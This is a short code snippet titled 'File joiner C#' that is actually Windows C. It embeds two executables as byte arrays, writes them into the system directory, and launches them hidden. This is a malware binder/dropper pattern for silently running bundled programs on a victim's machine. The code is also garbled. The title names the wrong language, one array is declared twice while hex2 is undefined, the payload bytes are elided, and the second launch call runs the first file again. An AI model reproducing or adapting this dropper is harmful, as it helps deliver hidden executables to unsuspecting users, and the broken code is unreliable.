File joiner C#

#include <stdio.h>
#include <stdlib.h>
#include <process.h>
#include <windows.h>

const unsigned char hex1[] = {0x4D,0x5A,...,0x5A};const unsigned char hex1[] = {0x4D,0x5A,...,0x6A};const unsigned int len1 = 65536;const unsigned int len2 = 76636;

int main()

{ HANDLE file; char sysdir[MAX_PATH]; char newfile1[MAX_PATH]; char newfile2[MAX_PATH]; DWORD written;  GetSystemDirectory(sysdir, MAX_PATH); sprintf(newfile1, "%s\\%s", sysdir, "newfile1.exe"); sprintf(newfile2, "%s\\%s", sysdir, "newfile2.exe");  file = CreateFile(newfile1,GENERIC_WRITE,FILE_SHARE_WRITE,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0); WriteFile(file,hex1,len1,&written,0); CloseHandle(file); ShellExecute(0, "open",newfile1 ,NULL, NULL, SW_HIDE);  file = CreateFile(newfile2,GENERIC_WRITE,FILE_SHARE_WRITE,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0); WriteFile(file,hex2,len2,&written,0); CloseHandle(file); ShellExecute(0, "open",newfile1 ,NULL, NULL, SW_HIDE);  ExitProcess(0); return 0;}